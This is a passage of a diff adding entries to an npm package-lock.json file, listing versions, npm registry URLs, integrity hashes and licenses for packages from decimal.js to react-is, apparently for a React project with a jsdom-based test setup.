+      "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz",
+      "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/deep-eql": {
+      "version": "4.1.4",
+      "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-4.1.4.tgz",
+      "integrity": "sha512-SUwdGfqdKOwxCPeVYjwSyRpJ7Z+fhpwIAtmCUdZIWZ/YP5R9WAsyuSgpLVDi9bjWoN2LXHNss/dk3urXtdQxGg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "type-detect": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/dequal": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz",
+      "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/diff-sequences": {
+      "version": "29.6.3",
+      "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-29.6.3.tgz",
+      "integrity": "sha512-EjePK1srD3P08o2j4f0ExnylqRs5B9tJjcp9t1krH2qRi8CCdsYfwe9JgSLurFBWwq4uOlipzfk5fHNvwFKr8Q==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": "^14.15.0 || ^16.10.0 || >=18.0.0"
+      }
+    },
+    "node_modules/dom-accessibility-api": {
+      "version": "0.5.16",
+      "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.5.16.tgz",
+      "integrity": "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg==",
+      "dev": true,
+      "license": "MIT",
+      "peer": true
+    },
+    "node_modules/electron-to-chromium": {
+      "version": "1.5.344",
+      "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.344.tgz",
+      "integrity": "sha512-4MxfbmNDm+KPh066EZy+eUnkcDPcZ35wNmOWzFuh/ijvHsve6kbLTLURy88uCNK5FbpN+yk2nQY6BYh1GEt+wg==",
+      "dev": true,
+      "license": "ISC"
+    },
+    "node_modules/entities": {
+      "version": "8.0.0",
+      "resolved": "https://registry.npmjs.org/entities/-/entities-8.0.0.tgz",
+      "integrity": "sha512-zwfzJecQ/Uej6tusMqwAqU/6KL2XaB2VZ2Jg54Je6ahNBGNH6Ek6g3jjNCF0fG9EWQKGZNddNjU5F1ZQn/sBnA==",
+      "dev": true,
+      "license": "BSD-2-Clause",
+      "engines": {
+        "node": ">=20.19.0"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/entities?sponsor=1"
+      }
+    },
+    "node_modules/esbuild": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.21.5.tgz",
+      "integrity": "sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw==",
+      "dev": true,
+      "hasInstallScript": true,
+      "license": "MIT",
+      "bin": {
+        "esbuild": "bin/esbuild"
+      },
+      "engines": {
+        "node": ">=12"
+      },
+      "optionalDependencies": {
+        "@esbuild/aix-ppc64": "0.21.5",
+        "@esbuild/android-arm": "0.21.5",
+        "@esbuild/android-arm64": "0.21.5",
+        "@esbuild/android-x64": "0.21.5",
+        "@esbuild/darwin-arm64": "0.21.5",
+        "@esbuild/darwin-x64": "0.21.5",
+        "@esbuild/freebsd-arm64": "0.21.5",
+        "@esbuild/freebsd-x64": "0.21.5",
+        "@esbuild/linux-arm": "0.21.5",
+        "@esbuild/linux-arm64": "0.21.5",
+        "@esbuild/linux-ia32": "0.21.5",
+        "@esbuild/linux-loong64": "0.21.5",
+        "@esbuild/linux-mips64el": "0.21.5",
+        "@esbuild/linux-ppc64": "0.21.5",
+        "@esbuild/linux-riscv64": "0.21.5",
+        "@esbuild/linux-s390x": "0.21.5",
+        "@esbuild/linux-x64": "0.21.5",
+        "@esbuild/netbsd-x64": "0.21.5",
+        "@esbuild/openbsd-x64": "0.21.5",
+        "@esbuild/sunos-x64": "0.21.5",
+        "@esbuild/win32-arm64": "0.21.5",
+        "@esbuild/win32-ia32": "0.21.5",
+        "@esbuild/win32-x64": "0.21.5"
+      }
+    },
+    "node_modules/escalade": {
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",
+      "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/estree-walker": {
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz",
+      "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@types/estree": "^1.0.0"
+      }
+    },
+    "node_modules/execa": {
+      "version": "8.0.1",
+      "resolved": "https://registry.npmjs.org/execa/-/execa-8.0.1.tgz",
+      "integrity": "sha512-VyhnebXciFV2DESc+p6B+y0LjSm0krU4OgJN44qFAhBY0TJ+1V61tYD2+wHusZ6F9n5K+vl8k0sTy7PEfV4qpg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "cross-spawn": "^7.0.3",
+        "get-stream": "^8.0.1",
+        "human-signals": "^5.0.0",
+        "is-stream": "^3.0.0",
+        "merge-stream": "^2.0.0",
+        "npm-run-path": "^5.1.0",
+        "onetime": "^6.0.0",
+        "signal-exit": "^4.1.0",
+        "strip-final-newline": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=16.17"
+      },
+      "funding": {
+        "url": "https://github.com/sindresorhus/execa?sponsor=1"
+      }
+    },
+    "node_modules/fsevents": {
+      "version": "2.3.3",
+      "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
+      "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==",
+      "dev": true,
+      "hasInstallScript": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "darwin"
+      ],
+      "engines": {
+        "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
+      }
+    },
+    "node_modules/gensync": {
+      "version": "1.0.0-beta.2",
+      "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
+      "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/get-func-name": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.2.tgz",
+      "integrity": "sha512-8vXOvuE167CtIc3OyItco7N/dpRtBbYOsPsXCz7X/PMnlGjYjSGuZJgM1Y7mmew7BKf9BqvLX2tnOVy1BBUsxQ==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": "*"
+      }
+    },
+    "node_modules/get-stream": {
+      "version": "8.0.1",
+      "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-8.0.1.tgz",
+      "integrity": "sha512-VaUJspBffn/LMCJVoMvSAdmscJyS1auj5Zulnn5UoYcY531UWmdwhRWkcGKnGU93m5HSXP9LP2usOryrBtQowA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=16"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/html-encoding-sniffer": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-6.0.0.tgz",
+      "integrity": "sha512-CV9TW3Y3f8/wT0BRFc1/KAVQ3TUHiXmaAb6VW9vtiMFf7SLoMd1PdAc4W3KFOFETBJUb90KatHqlsZMWV+R9Gg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@exodus/bytes": "^1.6.0"
+      },
+      "engines": {
+        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+      }
+    },
+    "node_modules/human-signals": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-5.0.0.tgz",
+      "integrity": "sha512-AXcZb6vzzrFAUE61HnN4mpLqd/cSIwNQjtNWR0euPm6y0iqx3G4gOXaIDdtdDwZmhwe82LA6+zinmW4UBWVePQ==",
+      "dev": true,
+      "license": "Apache-2.0",
+      "engines": {
+        "node": ">=16.17.0"
+      }
+    },
+    "node_modules/indent-string": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
+      "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/is-potential-custom-element-name": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz",
+      "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/is-stream": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-3.0.0.tgz",
+      "integrity": "sha512-LnQR4bZ9IADDRSkvpqMGvt/tEJWclzklNgSw48V5EAaAeDd6qGvN8ei6k5p0tvxSR171VmGyHuTiAOfxAbr8kA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/isexe": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
+      "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
+      "dev": true,
+      "license": "ISC"
+    },
+    "node_modules/js-tokens": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
+      "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==",
+      "license": "MIT"
+    },
+    "node_modules/jsdom": {
+      "version": "29.0.2",
+      "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-29.0.2.tgz",
+      "integrity": "sha512-9VnGEBosc/ZpwyOsJBCQ/3I5p7Q5ngOY14a9bf5btenAORmZfDse1ZEheMiWcJ3h81+Fv7HmJFdS0szo/waF2w==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@asamuzakjp/css-color": "^5.1.5",
+        "@asamuzakjp/dom-selector": "^7.0.6",
+        "@bramus/specificity": "^2.4.2",
+        "@csstools/css-syntax-patches-for-csstree": "^1.1.1",
+        "@exodus/bytes": "^1.15.0",
+        "css-tree": "^3.2.1",
+        "data-urls": "^7.0.0",
+        "decimal.js": "^10.6.0",
+        "html-encoding-sniffer": "^6.0.0",
+        "is-potential-custom-element-name": "^1.0.1",
+        "lru-cache": "^11.2.7",
+        "parse5": "^8.0.0",
+        "saxes": "^6.0.0",
+        "symbol-tree": "^3.2.4",
+        "tough-cookie": "^6.0.1",
+        "undici": "^7.24.5",
+        "w3c-xmlserializer": "^5.0.0",
+        "webidl-conversions": "^8.0.1",
+        "whatwg-mimetype": "^5.0.0",
+        "whatwg-url": "^16.0.1",
+        "xml-name-validator": "^5.0.0"
+      },
+      "engines": {
+        "node": "^20.19.0 || ^22.13.0 || >=24.0.0"
+      },
+      "peerDependencies": {
+        "canvas": "^3.0.0"
+      },
+      "peerDependenciesMeta": {
+        "canvas": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/jsdom/node_modules/lru-cache": {
+      "version": "11.3.5",
+      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.3.5.tgz",
+      "integrity": "sha512-NxVFwLAnrd9i7KUBxC4DrUhmgjzOs+1Qm50D3oF1/oL+r1NpZ4gA7xvG0/zJ8evR7zIKn4vLf7qTNduWFtCrRw==",
+      "dev": true,
+      "license": "BlueOak-1.0.0",
+      "engines": {
+        "node": "20 || >=22"
+      }
+    },
+    "node_modules/jsesc": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz",
+      "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==",
+      "dev": true,
+      "license": "MIT",
+      "bin": {
+        "jsesc": "bin/jsesc"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/json5": {
+      "version": "2.2.3",
+      "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",
+      "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==",
+      "dev": true,
+      "license": "MIT",
+      "bin": {
+        "json5": "lib/cli.js"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/local-pkg": {
+      "version": "0.5.1",
+      "resolved": "https://registry.npmjs.org/local-pkg/-/local-pkg-0.5.1.tgz",
+      "integrity": "sha512-9rrA30MRRP3gBD3HTGnC6cDFpaE1kVDWxWgqWJUN0RvDNAo+Nz/9GxB+nHOH0ifbVFy0hSA1V6vFDvnx54lTEQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "mlly": "^1.7.3",
+        "pkg-types": "^1.2.1"
+      },
+      "engines": {
+        "node": ">=14"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/antfu"
+      }
+    },
+    "node_modules/loose-envify": {
+      "version": "1.4.0",
+      "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz",
+      "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==",
+      "license": "MIT",
+      "dependencies": {
+        "js-tokens": "^3.0.0 || ^4.0.0"
+      },
+      "bin": {
+        "loose-envify": "cli.js"
+      }
+    },
+    "node_modules/loupe": {
+      "version": "2.3.7",
+      "resolved": "https://registry.npmjs.org/loupe/-/loupe-2.3.7.tgz",
+      "integrity": "sha512-zSMINGVYkdpYSOBmLi0D1Uo7JU9nVdQKrHxC8eYlV+9YKK9WePqAlL7lSlorG/U2Fw1w0hTBmaa/jrQ3UbPHtA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "get-func-name": "^2.0.1"
+      }
+    },
+    "node_modules/lru-cache": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
+      "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "yallist": "^3.0.2"
+      }
+    },
+    "node_modules/lz-string": {
+      "version": "1.5.0",
+      "resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.5.0.tgz",
+      "integrity": "sha512-h5bgJWpxJNswbU7qCrV0tIKQCaS3blPDrqKWx+QxzuzL1zGUzij9XCWLrSLsJPu5t+eWA/ycetzYAO5IOMcWAQ==",
+      "dev": true,
+      "license": "MIT",
+      "peer": true,
+      "bin": {
+        "lz-string": "bin/bin.js"
+      }
+    },
+    "node_modules/magic-string": {
+      "version": "0.30.21",
+      "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz",
+      "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@jridgewell/sourcemap-codec": "^1.5.5"
+      }
+    },
+    "node_modules/mdn-data": {
+      "version": "2.27.1",
+      "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.27.1.tgz",
+      "integrity": "sha512-9Yubnt3e8A0OKwxYSXyhLymGW4sCufcLG6VdiDdUGVkPhpqLxlvP5vl1983gQjJl3tqbrM731mjaZaP68AgosQ==",
+      "dev": true,
+      "license": "CC0-1.0"
+    },
+    "node_modules/merge-stream": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",
+      "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/mimic-fn": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-4.0.0.tgz",
+      "integrity": "sha512-vqiC06CuhBTUdZH+RYl8sFrL096vA45Ok5ISO6sE/Mr1jRbGH4Csnhi8f3wKVl7x8mO4Au7Ir9D3Oyv1VYMFJw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/min-indent": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz",
+      "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/mlly": {
+      "version": "1.8.2",
+      "resolved": "https://registry.npmjs.org/mlly/-/mlly-1.8.2.tgz",
+      "integrity": "sha512-d+ObxMQFmbt10sretNDytwt85VrbkhhUA/JBGm1MPaWJ65Cl4wOgLaB1NYvJSZ0Ef03MMEU/0xpPMXUIQ29UfA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "acorn": "^8.16.0",
+        "pathe": "^2.0.3",
+        "pkg-types": "^1.3.1",
+        "ufo": "^1.6.3"
+      }
+    },
+    "node_modules/mlly/node_modules/pathe": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz",
+      "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/ms": {
+      "version": "2.1.3",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+      "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/nanoid": {
+      "version": "3.3.11",
+      "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz",
+      "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "license": "MIT",
+      "bin": {
+        "nanoid": "bin/nanoid.cjs"
+      },
+      "engines": {
+        "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
+      }
+    },
+    "node_modules/node-releases": {
+      "version": "2.0.38",
+      "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.38.tgz",
+      "integrity": "sha512-3qT/88Y3FbH/Kx4szpQQ4HzUbVrHPKTLVpVocKiLfoYvw9XSGOX2FmD2d6DrXbVYyAQTF2HeF6My8jmzx7/CRw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/npm-run-path": {
+      "version": "5.3.0",
+      "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-5.3.0.tgz",
+      "integrity": "sha512-ppwTtiJZq0O/ai0z7yfudtBpWIoxM8yE6nHi1X47eFR2EWORqfbu6CnPlNsjeN683eT0qG6H/Pyf9fCcvjnnnQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "path-key": "^4.0.0"
+      },
+      "engines": {
+        "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/npm-run-path/node_modules/path-key": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/path-key/-/path-key-4.0.0.tgz",
+      "integrity": "sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/onetime": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/onetime/-/onetime-6.0.0.tgz",
+      "integrity": "sha512-1FlR+gjXK7X+AsAHso35MnyN5KqGwJRi/31ft6x0M194ht7S+rWAvd7PHss9xSKMzE0asv1pyIHaJYq+BbacAQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "mimic-fn": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/p-limit": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-5.0.0.tgz",
+      "integrity": "sha512-/Eaoq+QyLSiXQ4lyYV23f14mZRQcXnxfHrN0vCai+ak9G0pp9iEQukIIZq5NccEvwRB8PUnZT0KsOoDCINS1qQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "yocto-queue": "^1.0.0"
+      },
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/parse5": {
+      "version": "8.0.1",
+      "resolved": "https://registry.npmjs.org/parse5/-/parse5-8.0.1.tgz",
+      "integrity": "sha512-z1e/HMG90obSGeidlli3hj7cbocou0/wa5HacvI3ASx34PecNjNQeaHNo5WIZpWofN9kgkqV1q5YvXe3F0FoPw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "entities": "^8.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/inikulin/parse5?sponsor=1"
+      }
+    },
+    "node_modules/path-key": {
+      "version": "3.1.1",
+      "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
+      "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/pathe": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/pathe/-/pathe-1.1.2.tgz",
+      "integrity": "sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/pathval": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/pathval/-/pathval-1.1.1.tgz",
+      "integrity": "sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": "*"
+      }
+    },
+    "node_modules/picocolors": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
+      "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==",
+      "dev": true,
+      "license": "ISC"
+    },
+    "node_modules/pkg-types": {
+      "version": "1.3.1",
+      "resolved": "https://registry.npmjs.org/pkg-types/-/pkg-types-1.3.1.tgz",
+      "integrity": "sha512-/Jm5M4RvtBFVkKWRu2BLUTNP8/M2a+UwuAX+ae4770q1qVGtfjG+WTCupoZixokjmHiry8uI+dlY8KXYV5HVVQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "confbox": "^0.1.8",
+        "mlly": "^1.7.4",
+        "pathe": "^2.0.1"
+      }
+    },
+    "node_modules/pkg-types/node_modules/pathe": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz",
+      "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/postcss": {
+      "version": "8.5.10",
+      "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.10.tgz",
+      "integrity": "sha512-pMMHxBOZKFU6HgAZ4eyGnwXF/EvPGGqUr0MnZ5+99485wwW41kW91A4LOGxSHhgugZmSChL5AlElNdwlNgcnLQ==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/postcss/"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/postcss"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "nanoid": "^3.3.11",
+        "picocolors": "^1.1.1",
+        "source-map-js": "^1.2.1"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14"
+      }
+    },
+    "node_modules/pretty-format": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+      "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+      "dev": true,
+      "license": "MIT",
+      "peer": true,
+      "dependencies": {
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^17.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/punycode": {
+      "version": "2.3.1",
+      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",
+      "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/react": {
+      "version": "18.3.1",
+      "resolved": "https://registry.npmjs.org/react/-/react-18.3.1.tgz",
+      "integrity": "sha512-wS+hAgJShR0KhEvPJArfuPVN1+Hz1t0Y6n5jLrGQbkb4urgPE/0Rve+1kMB1v/oWgHgm4WIcV+i7F2pTVj+2iQ==",
+      "license": "MIT",
+      "dependencies": {
+        "loose-envify": "^1.1.0"
+      },
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/react-dom": {
+      "version": "18.3.1",
+      "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.3.1.tgz",
+      "integrity": "sha512-5m4nQKp+rZRb09LNH59GM4BxTh9251/ylbKIbpe7TpGxfJ+9kv6BLkLBXIjjspbgbnIBNqlI23tRnTWT0snUIw==",
+      "license": "MIT",
+      "dependencies": {
+        "loose-envify": "^1.1.0",
+        "scheduler": "^0.23.2"
+      },
+      "peerDependencies": {
+        "react": "^18.3.1"
+      }
+    },
+    "node_modules/react-is": {
+      "version": "17.0.2",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
